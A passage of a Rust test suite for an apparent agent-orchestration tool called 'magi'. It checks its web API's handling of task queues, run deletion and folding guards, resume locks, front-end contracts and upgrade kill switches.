11992 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11993 let fx = Fixture::start().await;
11999 let id = panel(
12000 &fx,
12001 "<img src=\"shot.png\">",
12002 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12003 );
12004
12005 let doc = fx
12007 .get(&format!("/api/questions/{id}/panel/index.html"))
12008 .await;
12009 assert_eq!(doc.status, 200, "{}", doc.body);
12010 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12011
12012 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12013 assert_eq!(sibling.status, 200, "{}", sibling.body);
12014 assert_eq!(sibling.header("content-type"), Some("image/png"));
12015 assert_eq!(
12016 sibling.header("content-security-policy"),
12017 Some(PANEL_CSP),
12018 "the sibling route must carry the same policy as the asset route"
12019 );
12020
12021 assert_eq!(
12024 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12025 200
12026 );
12027 }
12028
12029 #[test]
12030 fn runs_revision_moves_when_deleting_an_older_run() {
12031 let temp = TempDir::new().expect("tempdir");
12032 let runs = temp.path().join("runs");
12033 std::fs::create_dir_all(&runs).expect("create runs dir");
12034
12035 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12036
12037 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12038 std::thread::sleep(Duration::from_millis(10));
12039 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12040
12041 let rev_before = runs_revision(&runs);
12042 assert!(rev_before > 0);
12043
12044 let old_dir = runs.join("20260901-100000-old1");
12045 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12046
12047 let rev_after = runs_revision(&runs);
12048 assert_ne!(
12049 rev_before, rev_after,
12050 "deleting an older run must change the revision so other clients see the deletion"
12051 );
12052 }
12053
12054 fn write_state(runs: &FsPath, state: &RunState) {
12059 let dir = runs.join(&state.id);
12060 std::fs::create_dir_all(&dir).expect("run dir");
12061 std::fs::write(
12062 dir.join("run.json"),
12063 serde_json::to_string_pretty(state).expect("serialize run"),
12064 )
12065 .expect("write run.json");
12066 }
12067
12068 #[test]
12073 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12074 let temp = TempDir::new().expect("tempdir");
12075 let runs = temp.path().join("runs");
12076 std::fs::create_dir_all(&runs).expect("create runs dir");
12077 let mut state = RunState::new(
12078 PathBuf::from("/repo/magi"),
12079 "main".to_owned(),
12080 "0123456789abcdef".to_owned(),
12081 "task".to_owned(),
12082 Config::default(),
12083 );
12084 state.id = "20260902-100000-c0de".to_owned();
12085 write_state(&runs, &state);
12086
12087 let rev_idle = runs_revision(&runs);
12088 std::thread::sleep(Duration::from_millis(10));
12089 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12090 write_state(&runs, &state);
12091 let rev_started = runs_revision(&runs);
12092 assert_ne!(
12093 rev_idle, rev_started,
12094 "a seat starting must move the revision"
12095 );
12096
12097 std::thread::sleep(Duration::from_millis(10));
12098 state.seat_finished("judge-1");
12099 write_state(&runs, &state);
12100 let rev_finished = runs_revision(&runs);
12101 assert_ne!(
12102 rev_started, rev_finished,
12103 "and clearing it again must move the revision a second time"
12104 );
12105 }
12106
12107 #[tokio::test]
12108 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12109 let fx = Fixture::start().await;
12114 let q = fx.queue();
12115
12116 let mut t = Task::new(
12117 "Task".to_owned(),
12118 "Instruction".to_owned(),
12119 PathBuf::from("/repo"),
12120 Source::Human,
12121 );
12122 t.block(
12123 vec!["20260101-000000-dead".to_owned()],
12124 Some("waiting on Task 1".to_owned()),
12125 );
12126 t.answers.push(crate::queue::AnsweredQuestion {
12127 question: "Which backend?".to_owned(),
12128 answer: "SQLite".to_owned(),
12129 });
12130 q.put(&mut t).expect("put t");
12131
12132 let res = fx.get("/api/queue").await;
12133 assert_eq!(res.status, 200);
12134 let list = res.json();
12135 let view = list
12136 .as_array()
12137 .expect("array")
12138 .iter()
12139 .find(|v| v["id"] == t.id)
12140 .expect("task in list");
12141 assert_eq!(view["status_str"], "blocked");
12142 assert_eq!(
12143 view["blocked_by"],
12144 serde_json::json!(["20260101-000000-dead"])
12145 );
12146 assert_eq!(view["block_reason"], "waiting on Task 1");
12147 assert_eq!(view["answers"][0]["question"], "Which backend?");
12148 assert_eq!(view["answers"][0]["answer"], "SQLite");
12149
12150 let res = fx
12154 .post(&format!("/api/queue/{}/hold", t.short()), None)
12155 .await;
12156 assert_eq!(res.status, 200);
12157 let held = res.json();
12158 assert_eq!(held["status_str"], "held");
12159 assert_eq!(held["blocked_by"], serde_json::json!([]));
12160 assert!(held["block_reason"].is_null());
12161 assert_eq!(held["answers"][0]["answer"], "SQLite");
12162 }
12163
12164 #[tokio::test]
12165 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12166 let fx = Fixture::start().await;
12167 let q = fx.queue();
12168 let mk = |title: &str| {
12169 Task::new(
12170 title.to_owned(),
12171 "Instruction".to_owned(),
12172 PathBuf::from("/repo"),
12173 Source::Human,
12174 )
12175 };
12176 let mut root = mk("root");
12177 root.hold_manual(Some("waiting".to_owned()));
12178 q.put(&mut root).unwrap();
12179 let mut mid = mk("mid");
12180 mid.block(vec![root.id.clone()], None);
12181 q.put(&mut mid).unwrap();
12182 let mut leaf = mk("leaf");
12183 leaf.block(vec![mid.id.clone()], None);
12184 q.put(&mut leaf).unwrap();
12185
12186 let list = fx.get("/api/queue").await.json();
12187 let find = |id: &str| {
12188 list.as_array()
12189 .unwrap()
12190 .iter()
12191 .find(|v| v["id"] == id)
12192 .unwrap()
12193 .clone()
12194 };
12195 let leaf_view = find(&leaf.id);
12196 assert_eq!(
12197 leaf_view["waits_on"],
12198 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12199 );
12200 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12201 assert_eq!(
12202 find(&mid.id)["waits_on"],
12203 serde_json::json!([format!("{} (held)", root.short())])
12204 );
12205 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12206 }
12207
12208 #[tokio::test]
12209 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12210 let fx = Fixture::start().await;
12211 let q = fx.queue();
12212
12213 let mut t1 = Task::new(
12215 "Task 1".to_owned(),
12216 "Instruction 1".to_owned(),
12217 PathBuf::from("/repo"),
12218 Source::Human,
12219 );
12220 let run_id = "20260901-000000-r111";
12221 t1.runs.push(run_id.to_owned());
12222 write_run(&fx.runs(), run_id, RunStatus::Merged);
12223 q.put(&mut t1).expect("put t1");
12224
12225 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12227 assert_eq!(res.status, 204);
12228 assert!(res.body.is_empty(), "204 No Content has no body");
12229 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12230 assert!(
12231 fx.runs().join(run_id).exists(),
12232 "run directory must not be deleted when its task is deleted"
12233 );
12234
12235 let mut t2 = Task::new(
12237 "Task 2".to_owned(),
12238 "Instruction 2".to_owned(),
12239 PathBuf::from("/repo"),
12240 Source::Human,
12241 );
12242 t2.status = TaskStatus::Running;
12243 q.put(&mut t2).expect("put t2");
12244 let mut beat = crate::daemon::Status::new();
12245 beat.current = vec![crate::daemon::Current {
12246 task: t2.id.clone(),
12247 run: "20260901-000000-r222".to_owned(),
12248 }];
12249 beat.updated_at = jiff::Timestamp::now();
12250 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12251 .expect("publish a heartbeat");
12252 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12253 assert_eq!(res.status, 409);
12254 assert!(
12255 res.json()["error"]
12256 .as_str()
12257 .unwrap()
12258 .contains("live daemon")
12259 );
12260 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12261
12262 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12268 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12269 .expect("leave a stale heartbeat");
12270 let mut t3 = Task::new(
12271 "Task 3".to_owned(),
12272 "Instruction 3".to_owned(),
12273 PathBuf::from("/repo"),
12274 Source::Human,
12275 );
12276 t3.status = TaskStatus::Running;
12277 q.put(&mut t3).expect("put t3");
12278 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12279 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12280 assert_eq!(res.status, 204);
12281 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12282 assert!(
12283 q.claim(&t3.id).is_ok(),
12284 "the stale lock went with it, so the id is claimable again"
12285 );
12286
12287 let res = fx.delete("/api/queue/nonexistent").await;
12289 assert_eq!(res.status, 404);
12290 }
12291
12292 #[tokio::test]
12293 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12294 let fx = Fixture::start().await;
12295 let runs = fx.runs();
12296
12297 let run_id = "20260901-000000-fold";
12299 let mut state = RunState::new(
12300 PathBuf::from("/repo"),
12301 "main".to_owned(),
12302 "abc".to_owned(),
12303 "instruction".to_owned(),
12304 Config::default(),
12305 );
12306 state.id = run_id.to_owned();
12307 state.status = RunStatus::Merged;
12308 state.candidates.push(crate::run::Candidate {
12309 index: 0,
12310 label: 'A',
12311 agent: "a".to_owned(),
12312 branch: "b".to_owned(),
12313 worktree: PathBuf::from("/w"),
12314 summary: String::new(),
12315 stat: String::new(),
12316 files: 1,
12317 commits: 1,
12318 empty: false,
12319 failed: None,
12320 verified_noop: None,
12321 duration_ms: 0,
12322 folded: true,
12323 });
12324 let dir = runs.join(run_id);
12325 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12326 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12327 .expect("write artifact");
12328 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12329 .expect("write run.json");
12330
12331 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12333 assert_eq!(res.status, 204);
12334 assert!(res.body.is_empty(), "204 has no body");
12335 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12336
12337 let run_running = "20260901-000000-rung";
12342 write_run(&runs, run_running, RunStatus::Prep);
12343 let mut beat = crate::daemon::Status::new();
12344 beat.current = vec![crate::daemon::Current {
12345 task: "20260901-000000-task".to_owned(),
12346 run: run_running.to_owned(),
12347 }];
12348 beat.updated_at = jiff::Timestamp::now();
12349 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12350 .expect("publish a heartbeat");
12351 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12352 assert_eq!(res.status, 409);
12353 assert!(
12354 res.json()["error"]
12355 .as_str()
12356 .unwrap()
12357 .contains("live daemon"),
12358 "the refusal must say who is holding it"
12359 );
12360 assert!(
12361 runs.join(run_running).exists(),
12362 "a run in flight keeps its directory"
12363 );
12364
12365 let run_unfolded = "20260901-000000-unfd";
12367 let mut state2 = RunState::new(
12368 PathBuf::from("/repo"),
12369 "main".to_owned(),
12370 "abc".to_owned(),
12371 "instruction".to_owned(),
12372 Config::default(),
12373 );
12374 state2.id = run_unfolded.to_owned();
12375 state2.status = RunStatus::Ready;
12376 state2.candidates.push(crate::run::Candidate {
12377 index: 0,
12378 label: 'A',
12379 agent: "a".to_owned(),
12380 branch: "b".to_owned(),
12381 worktree: PathBuf::from("/w"),
12382 summary: String::new(),
12383 stat: String::new(),
12384 files: 1,
12385 commits: 1,
12386 empty: false,
12387 failed: None,
12388 verified_noop: None,
12389 duration_ms: 0,
12390 folded: false,
12391 });
12392 let dir2 = runs.join(run_unfolded);
12393 std::fs::create_dir_all(&dir2).expect("create dir2");
12394 std::fs::write(
12395 dir2.join("run.json"),
12396 serde_json::to_string(&state2).unwrap(),
12397 )
12398 .expect("write run.json");
12399
12400 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12401 assert_eq!(res.status, 409);
12402 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12403 assert!(dir2.exists(), "unfolded run directory is kept");
12404
12405 let res = fx.delete("/api/runs/nonexistent").await;
12407 assert_eq!(res.status, 404);
12408 }
12409
12410 #[test]
12419 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12420 let start = APP_JS
12421 .find("function renderStats() {")
12422 .expect("renderStats");
12423 let end = start
12424 + APP_JS[start..]
12425 .find("function statsTile(")
12426 .expect("the next top-level function");
12427 let body = &APP_JS[start..end];
12428
12429 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12430 let gate_end = gate_start
12431 + body[gate_start..]
12432 .find("}\n renderStatsQueue")
12433 .expect("the gate's own closing brace, right before the unconditional call");
12434 let gated = &body[gate_start..gate_end];
12435
12436 assert_eq!(
12437 body.matches("renderStatsQueue(").count(),
12438 1,
12439 "renderStats must call renderStatsQueue exactly once: {body}"
12440 );
12441 assert!(
12442 !gated.contains("renderStatsQueue"),
12443 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12444 run-derived panels on an empty run history - the queue panel has to render \
12445 regardless: {gated}"
12446 );
12447 }
12448
12449 #[test]
12450 fn web_ui_delete_contract_in_front_end() {
12451 assert!(APP_JS.contains("deleteRun:"));
12453 assert!(APP_JS.contains("deleteTask:"));
12454
12455 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12457 ..APP_JS.find("function renderRuns").unwrap()];
12458 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12459
12460 assert!(APP_JS.contains("renderRunDelete"));
12462 assert!(APP_JS.contains("runDeleteReason"));
12463 assert!(APP_JS.contains("magi fold"));
12464 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12465
12466 assert!(APP_JS.contains("cancel.focus"));
12468 assert!(APP_JS.contains("armedRunDelete"));
12469 assert!(APP_JS.contains("renderTaskDeleteBox"));
12470 assert!(APP_JS.contains("armed${cap(key)}"));
12471
12472 assert!(APP_JS.contains("disabled: status === \"running\""));
12474 }
12475
12476 #[test]
12496 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12497 let build = APP_JS
12498 .find("function createRunCard")
12499 .expect("createRunCard exists");
12500 let update = APP_JS
12501 .find("function updateRunCard")
12502 .expect("updateRunCard exists");
12503 let end = APP_JS
12504 .find("function renderRuns")
12505 .expect("renderRuns exists");
12506
12507 let builder = &APP_JS[build..update];
12509 let open = builder.find("refs = {").expect("createRunCard sets refs");
12510 let literal = &builder[open + "refs = {".len()..];
12511 let close = literal.find('}').expect("the refs literal is closed");
12512 let published: HashSet<&str> = literal[..close]
12513 .split(',')
12514 .filter_map(|entry| entry.split(':').next())
12516 .map(str::trim)
12517 .filter(|name| !name.is_empty())
12518 .collect();
12519 assert!(
12520 published.len() > 5,
12521 "the refs literal did not parse into names: {published:?}"
12522 );
12523
12524 let mut used: Vec<&str> = Vec::new();
12527 let updaters = &APP_JS[update..end];
12528 for (at, _) in updaters.match_indices("r.") {
12529 let before = updaters[..at].chars().next_back();
12532 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12533 continue;
12534 }
12535 let rest = &updaters[at + 2..];
12536 let len = rest
12537 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12538 .unwrap_or(rest.len());
12539 if len > 0 {
12540 used.push(&rest[..len]);
12541 }
12542 }
12543 assert!(
12544 used.len() > 5,
12545 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12546 );
12547
12548 let missing: Vec<&str> = used
12549 .iter()
12550 .copied()
12551 .filter(|name| !published.contains(name))
12552 .collect();
12553 assert!(
12554 missing.is_empty(),
12555 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12556 never put in `refs` - every card will throw and the list will \
12557 render empty under a count line that says otherwise. Published: \
12558 {published:?}"
12559 );
12560 }
12561
12562 #[tokio::test]
12563 async fn folding_from_the_phone_reports_what_it_removed() {
12564 let fx = Fixture::start().await;
12565 let runs = fx.runs();
12566
12567 let id = "20260901-000000-fold";
12571 write_run(&runs, id, RunStatus::Stalled);
12572 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12573 assert_eq!(res.status, 200);
12574 assert_eq!(res.json()["removed_count"], 0);
12575 assert_eq!(res.json()["run"], id);
12576 assert!(
12577 runs.join(id).exists(),
12578 "a fold keeps the run's record; only the worktrees go"
12579 );
12580 }
12581
12582 #[tokio::test]
12583 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12584 let fx = Fixture::start().await;
12585 let runs = fx.runs();
12586 let wt = fx.home.path().join("wt").join("magi").join("dead");
12587 let id = "20260901-000000-dead";
12588 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12589 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12590 std::fs::create_dir_all(&wt).expect("worktree dir");
12591
12592 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12593 assert_eq!(res.status, 200, "{}", res.body);
12594 assert!(
12595 res.json()["removed_count"].as_u64().unwrap() > 0,
12596 "the worktree this build could not read a state for still went"
12597 );
12598 assert!(
12599 !runs.join(id).exists(),
12600 "an unreadable run has no candidate list to fold selectively, so \
12601 the whole record goes - same as `magi fold` on the CLI"
12602 );
12603 }
12604
12605 #[tokio::test]
12606 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12607 let fx = Fixture::start().await;
12608 let runs = fx.runs();
12609 let wt = fx.home.path().join("wt").join("magi").join("gone");
12610 let id = "20260901-000000-gone";
12611 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12612 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12613 std::fs::create_dir_all(&wt).expect("worktree dir");
12614
12615 let res = fx.delete(&format!("/api/runs/{id}")).await;
12616 assert_eq!(res.status, 204, "{}", res.body);
12617 assert!(!runs.join(id).exists(), "the broken record is gone");
12618 assert!(!wt.exists(), "its worktree is gone too");
12619 }
12620
12621 #[tokio::test]
12622 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12623 let fx = Fixture::start().await;
12624 let runs = fx.runs();
12625 let id = "20260901-000000-live";
12626 write_run(&runs, id, RunStatus::Implementing);
12627
12628 let mut beat = crate::daemon::Status::new();
12629 beat.current = vec![crate::daemon::Current {
12630 task: "20260901-000000-task".to_owned(),
12631 run: id.to_owned(),
12632 }];
12633 beat.updated_at = jiff::Timestamp::now();
12634 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12635 .expect("publish a heartbeat");
12636
12637 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12638 assert_eq!(res.status, 409);
12639 assert!(
12640 res.json()["error"]
12641 .as_str()
12642 .unwrap()
12643 .contains("live daemon"),
12644 "folding under a running agent would pull its worktree away"
12645 );
12646 }
12647
12648 #[tokio::test]
12649 async fn fold_merged_requires_a_pr_url() {
12650 let fx = Fixture::start().await;
12651 let runs = fx.runs();
12652 let id = "20260901-000000-nourl";
12653 write_run(&runs, id, RunStatus::Blocked);
12654
12655 let res = fx
12656 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12657 .await;
12658 assert_eq!(res.status, 400, "{}", res.body);
12659
12660 let blank = fx
12661 .post(
12662 &format!("/api/runs/{id}/fold-merged"),
12663 Some(r#"{"pr_url":" "}"#),
12664 )
12665 .await;
12666 assert_eq!(blank.status, 400, "{}", blank.body);
12667 }
12668
12669 #[tokio::test]
12670 async fn fold_merged_is_404_for_an_unknown_run() {
12671 let fx = Fixture::start().await;
12672 let res = fx
12673 .post(
12674 "/api/runs/nosuchrun/fold-merged",
12675 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12676 )
12677 .await;
12678 assert_eq!(res.status, 404, "{}", res.body);
12679 }
12680
12681 #[tokio::test]
12682 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12683 let fx = Fixture::start().await;
12684 let runs = fx.runs();
12685 let id = "20260901-000000-livemerge";
12686 write_run(&runs, id, RunStatus::Blocked);
12687
12688 let mut beat = crate::daemon::Status::new();
12689 beat.current = vec![crate::daemon::Current {
12690 task: "20260901-000000-task".to_owned(),
12691 run: id.to_owned(),
12692 }];
12693 beat.updated_at = jiff::Timestamp::now();
12694 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12695 .expect("publish a heartbeat");
12696
12697 let res = fx
12698 .post(
12699 &format!("/api/runs/{id}/fold-merged"),
12700 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12701 )
12702 .await;
12703 assert_eq!(res.status, 409, "{}", res.body);
12704 assert!(
12705 res.json()["error"]
12706 .as_str()
12707 .unwrap()
12708 .contains("live daemon"),
12709 "correcting a run's merge underneath a running agent would race \
12710 whatever it is doing to the same `status`/`merge` fields"
12711 );
12712 }
12713
12714 #[tokio::test]
12719 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12720 let fx = Fixture::start().await;
12721 let runs = fx.runs();
12722 let id = "20260901-000000-unconfirmed";
12723 write_run(&runs, id, RunStatus::Blocked);
12724
12725 let res = fx
12726 .post(
12727 &format!("/api/runs/{id}/fold-merged"),
12728 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12729 )
12730 .await;
12731 assert_eq!(res.status, 400, "{}", res.body);
12732 assert_eq!(
12733 read_run(&runs, id).unwrap().status,
12734 RunStatus::Blocked,
12735 "a pull request that could not be confirmed merged must leave \
12736 the run exactly where it was"
12737 );
12738 }
12739
12740 #[tokio::test]
12741 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12742 let fx = Fixture::start().await;
12743 let runs = fx.runs();
12744
12745 for (status, word) in [
12751 (RunStatus::Merged, "merged"),
12752 (RunStatus::Ready, "ready"),
12753 (RunStatus::Failed, "failed"),
12754 ] {
12755 let id = format!("20260901-000000-{}", &word[..4]);
12756 write_run(&runs, &id, status);
12757 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12758 assert_eq!(res.status, 409, "{word} must not be resumable");
12759 let err = res.json()["error"].as_str().unwrap().to_owned();
12760 assert!(err.contains(word), "the refusal names the status: {err}");
12761 }
12762
12763 let mid = "20260901-000000-midf";
12768 write_run(&runs, mid, RunStatus::Reviewing);
12769 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12770 assert_eq!(res.status, 202, "an interrupted run is resumable");
12771 }
12772
12773 #[tokio::test]
12774 async fn resume_is_refused_while_the_loop_is_running() {
12775 let fx = Fixture::start().await;
12776 let runs = fx.runs();
12777 let stalled = "20260901-000000-stal";
12778 write_run(&runs, stalled, RunStatus::Stalled);
12779
12780 let mut beat = crate::daemon::Status::new();
12784 beat.current = vec![crate::daemon::Current {
12785 task: "20260901-000000-task".to_owned(),
12786 run: "20260901-000000-othr".to_owned(),
12787 }];
12788 beat.updated_at = jiff::Timestamp::now();
12789 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12790 .expect("publish a heartbeat");
12791
12792 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12793 assert_eq!(res.status, 409);
12794 let err = res.json()["error"].as_str().unwrap().to_owned();
12795 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12796 assert!(err.contains("stop it first"), "{err}");
12797 }
12798
12799 #[test]
12800 fn a_run_cannot_be_resumed_twice_at_once() {
12801 let home = TempDir::new().expect("temp home");
12802 let ui = Ui::new(
12803 Queue::at(home.path().join("queue")),
12804 Questions::at(home.path().join("questions")),
12805 Talks::at(home.path().join("talks")),
12806 home.path().join("runs"),
12807 home.path().to_path_buf(),
12808 PathBuf::from("/repo"),
12809 )
12810 .with_worktrees_root(home.path().join("wt"));
12811 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12812 let again = ui.begin_resume("20260901-000000-once");
12813 assert!(again.is_err(), "a second tap must not start a second graph");
12814 drop(first);
12815 assert!(
12816 ui.begin_resume("20260901-000000-once").is_ok(),
12817 "and the claim is released when the attempt ends"
12818 );
12819 }
12820
12821 #[test]
12822 fn talk_thinking_tracks_only_its_held_turn_claim() {
12823 let home = TempDir::new().expect("temp home");
12824 let ui = Ui::new(
12825 Queue::at(home.path().join("queue")),
12826 Questions::at(home.path().join("questions")),
12827 Talks::at(home.path().join("talks")),
12828 home.path().join("runs"),
12829 home.path().to_path_buf(),
12830 PathBuf::from("/repo"),
12831 )
12832 .with_worktrees_root(home.path().join("wt"));
12833 let id = "20260901-000000-once";
12834
12835 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12836 let turn = ui.begin_talk_turn(id).expect("claim turn");
12837 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12838 assert!(
12839 !ui.is_thinking("20260901-000000-other"),
12840 "one talk's turn does not make another talk busy"
12841 );
12842 drop(turn);
12843 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12844 }
12845
12846 #[tokio::test]
12847 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12848 let fx = Fixture::start().await;
12849 let mut beat = crate::daemon::Status::new();
12853 beat.pid = 4321;
12854 beat.updated_at = jiff::Timestamp::now();
12855 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12856 .expect("publish a heartbeat");
12857
12858 let res = fx.post("/api/upgrade", None).await;
12859 assert_eq!(res.status, 409);
12860 let err = res.json()["error"].as_str().unwrap().to_owned();
12861 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12862 assert!(err.contains("old one against the same queue"), "{err}");
12863 }
12864
12865 #[test]
12872 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12873 assert!(!should_spawn_recheck(&crate::config::Update {
12874 mode: UpdateMode::Off,
12875 interval: None,
12876 }));
12877
12878 unsafe {
12881 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12882 }
12883 let killed = should_spawn_recheck(&crate::config::Update {
12884 mode: UpdateMode::Notify,
12885 interval: None,
12886 });
12887 unsafe {
12888 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12889 }
12890 assert!(
12891 !killed,
12892 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12893 one-time startup check"
12894 );
12895
12896 assert!(should_spawn_recheck(&crate::config::Update {
12897 mode: UpdateMode::Notify,
12898 interval: None,
12899 }));
12900 }
12901
12902 #[test]
12908 fn recheck_poll_period_tracks_a_short_configured_interval() {
12909 let short = crate::config::Update {
12910 mode: UpdateMode::Notify,
12911 interval: Some("1m".to_owned()),
12912 };
12913 let period = recheck_poll_period(&short);
12914 assert!(
12915 period <= Duration::from_secs(30),
12916 "a one-minute interval must wake the task far sooner than the \
12917 default ceiling, or the deck would not notice within the \
12918 interval the operator configured: got {period:?}"
12919 );
12920
12921 let default = crate::config::Update {
12922 mode: UpdateMode::Notify,
12923 interval: None,
12924 };
12925 assert_eq!(
12926 recheck_poll_period(&default),
12927 UPDATE_RECHECK_POLL_MAX,
12928 "the default day-long interval should poll at the (capped) \
12929 ceiling rather than needlessly often"
12930 );
12931 }
12932
12933 #[test]
12941 fn recheck_skips_the_network_before_the_interval_elapses() {
12942 let dir = TempDir::new().expect("temp dir");
12943 let path = dir.path().join("state.json");
12944 let state = kaishin::UpdateCheckState {
12945 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12946 last_known_latest: None,
12947 last_known_url: None,
12948 };
12949 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12950
12951 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12952 assert!(
12953 !update_recheck_due(&checker, None),
12954 "a check made moments ago must not be repeated before the \
12955 configured interval elapses"
12956 );
12957 }
12958
12959 #[test]
12965 fn recheck_defers_to_an_upgrade_already_in_flight() {
12966 let dir = TempDir::new().expect("temp dir");
12967 let path = dir.path().join("state.json");
12968 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12969 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12970
12971 assert!(
12972 !update_recheck_due(&checker, Some(&progress)),
12973 "a recheck must not run while an upgrade this deck started is \
12974 still moving"
12975 );
12976 }
12977
12978 #[tokio::test]
12979 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12980 unsafe {
12992 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12993 }
12994 let fx = Fixture::start().await;
12995 let res = fx.post("/api/upgrade", None).await;
12996 unsafe {
12997 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12998 }
12999 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13000 let body = res.json();
13001 assert!(body["to"].is_null(), "there was no release to move to");
13002 assert!(body["parked"].is_null(), "and nothing was parked");
13003 assert!(
13004 body["detail"]
13005 .as_str()
13006 .unwrap()
13007 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13008 "{body:?}"
13009 );
13010 }
13011
13012 #[tokio::test]
13013 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13014 let repo = TempDir::new().expect("repo dir");
13030 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13031 .expect("write magi.toml");
13032 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13033
13034 let res = fx.post("/api/upgrade", None).await;
13040 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13041 let body = res.json();
13042 assert!(body["to"].is_null(), "there was no release to move to");
13043 assert!(body["parked"].is_null(), "and nothing was parked");
13044 assert!(
13045 body["detail"]
13046 .as_str()
13047 .unwrap()
13048 .contains("nothing restarted"),
13049 "{body:?}"
13050 );
13051 }
13052
13053 #[tokio::test]
13054 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13055 let repo = TempDir::new().expect("repo dir");
13060 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
